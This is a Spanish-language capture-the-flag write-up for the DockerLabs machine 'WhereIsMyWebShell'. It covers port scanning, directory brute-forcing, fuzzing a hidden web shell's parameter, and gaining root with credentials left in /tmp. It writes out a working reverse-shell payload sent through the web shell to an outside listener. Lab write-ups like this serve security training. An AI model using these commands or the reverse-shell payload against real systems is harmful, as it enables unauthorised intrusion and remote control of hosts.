> For the complete documentation index, see [llms.txt](https://beafn28.gitbook.io/beafn28/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://beafn28.gitbook.io/beafn28/writeups/dockerlabs/whereismywebshell.md).

# WhereIsMyWebShell

✍️ Autor: El Pingüino de Mario🔍 Dificultad: Fácil  📅 Fecha de creación: 12/04/2024

### 🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 172.17.0.2
```

para verificar la conectividad de red.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FEhYrFMrsspAx4abCVuga%2Fimage.png?alt=media&amp;token=ece3cdd3-3a35-4f81-a74d-d66d259ba148" alt=""><figcaption></figcaption></figure>

A continuación, realizamos el comando:

```bash
nmap -sVC -p- -n --min-rate 5000 172.17.0.2
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FQCOFhe3ay1yrjWM3SHwy%2Fimage.png?alt=media&amp;token=17f8edd3-fc12-42c3-beda-cfe2d7bf683d" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 80** perteneciente al **servicio HTTP** está abierto por lo que a continuación se indagará más.

### 🔎 EXPLORACIÓN

Se utiliza el comando:

```bash
sudo nmap -sCV -p80 -v 172.17.0.2
```

para que nos proporcione más información sobre esos puertos específicamente.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FwoyLEOod6oFXMWLmFrgi%2Fimage.png?alt=media&amp;token=1f11e1e0-ba03-4680-8256-d3f8265e85b6" alt=""><figcaption></figcaption></figure>

Seguimos indagando más sobre los puertos y ahora indagamos sobre el **servicio HTTP**. Se ingresó la **dirección IP** en el navegador lo que llevó a que la página web de una Academia de Inglés.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FWmZwfBc0odKAv6mxCsxl%2Fimage.png?alt=media&amp;token=0749d48c-21c8-4821-a26d-cc5112d77a79" alt=""><figcaption></figcaption></figure>

Si revisamos la página web nos dice que hay un secreto en el directorio **/tmp**.

Ahora buscaremos directorios y archivos con la herramienta **Gobuster** a través de:

```bash
gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x html,php,txt,xml
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FJW8aQvj0PPewFfYJMMfD%2Fimage.png?alt=media&amp;token=de1db488-51e4-44d8-ac06-94135c1469ae" alt=""><figcaption></figcaption></figure>

### &#x20;🚀 **EXPLOTACIÓN**

Nos encontramos una archivo llamado `shell.php` en que imaginamos que es una **WebShell** y nos da una pista tal como se llama la máquina.&#x20;

```bash
http://172.17.0.2/shell.php?cmd=id
```

No nos devuelve nada por lo que realizamos **fuzzing**.

```bash
wfuzz -c --hc=404,500 -t 200 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt http://172.17.0.2/shell.php?FUZZ=id
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FvuUcEA6GyFP8zJWhr9Ce%2Fimage.png?alt=media&amp;token=496e2e52-9b02-4a78-8f9e-63103f5c7715" alt=""><figcaption></figcaption></figure>

Descubrimos que el parámetro es `parameter`.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FWEqKn9bETwf44L3StBht%2Fimage.png?alt=media&amp;token=4712c41a-5d01-47ba-bf00-efddaf300fc4" alt=""><figcaption></figcaption></figure>

Aprovechamos eso para hacer una [Reverse Shell](https://www.revshells.com/).

```bash
http://172.17.0.2/shell.php?parameter=bash -c "bash -i >%26 /dev/tcp/192.168.255.136/443 0>%261"
```

Nos ponemos en escucha.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FmoUOEXKsIbR1MpDk4sAs%2Fimage.png?alt=media&amp;token=061b6fc8-1b07-4ed6-bc0a-b9d535f02f08" alt=""><figcaption></figcaption></figure>

Hacemos el [tratamiento de la TTY](https://invertebr4do.github.io/tratamiento-de-tty/#) para trabajar más cómodos.

### 🔐 **PRIVILEGIOS**

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar. No tenemos permisos **SUDO**.

Revisamos el archivo que hay en el directorio `/tmp`.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Femt6VNEpn5fkysi3EFhl%2Fimage.png?alt=media&amp;token=f462a659-170f-4319-87c9-0ab1990be59a" alt=""><figcaption></figcaption></figure>

Nos logueamos con **root** con esas credenciales.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FIP5LAJMdEaaypvswW1Ve%2Fimage.png?alt=media&amp;token=2137e178-809b-4e5e-b2ad-4c51d00add98" alt=""><figcaption></figcaption></figure>
